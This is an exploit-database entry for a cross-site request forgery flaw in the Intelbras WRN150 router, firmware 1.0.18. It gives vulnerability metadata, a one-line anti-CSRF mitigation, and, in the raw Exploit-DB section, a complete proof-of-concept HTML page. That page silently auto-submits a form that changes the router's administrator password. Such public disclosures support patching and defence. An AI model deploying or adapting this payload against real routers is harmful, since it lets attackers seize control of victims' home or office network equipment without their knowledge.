Intelbras Router WRN150 1.0.18 - Cross-Site Request Forgery

vendor:

Intelbras Router WRN150

by:

Prof. Joas Antonio

5.5

CVSS

MEDIUM

Cross-Site Request Forgery

352

CWE

Product Name: Intelbras Router WRN150

Affected Version From: 1.0.18

Affected Version To: 1.0.18

Patch Exists: NO

Related CWE:

CPE: a:intelbras:router_wrn150:1.0.18

Metasploit:

Other Scripts:

Platforms Tested: Windows

2019

Intelbras Router WRN150 1.0.18 – Cross-Site Request Forgery

The Intelbras Router WRN150 version 1.0.18 is vulnerable to Cross-Site Request Forgery (CSRF) attacks. An attacker can trick a user into submitting a malicious form that changes the system password without their knowledge or consent.

Mitigation:

To mitigate this vulnerability, Intelbras should implement and enforce the use of anti-CSRF tokens in their web application to validate the origin of requests.

Source

Exploit-DB raw data:

Exploit Title: Intelbras Router WRN150 1.0.18 - Cross-Site Request Forgery
Date: 2019-10-25
Exploit Author: Prof. Joas Antonio
Vendor Homepage: https://www.intelbras.com/pt-br/
Software Link: http://en.intelbras.com.br/node/25896
Version: 1.0.18
Tested on: Windows
CVE : N/A

####################
# PoC1: https://www.youtube.com/watch?v=V188HHDMbGM&feature=youtu.be

<html>
  <body>
    <form action="http://10.0.0.1/goform/SysToolChangePwd" method="POST">
	<input type="hidden" name="GO" value="system_password.asp">
	<input type="hidden" name="SYSPSC" value="0">
      	<input class="text" type="password" name="SYSOPS" value="hack123"/> 
	<input class="text" type="password" name="SYSPS" value="mrrobot"/> 
	<input class="text" type="password" name="SYSPS2" value="mrrobot"/> 
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>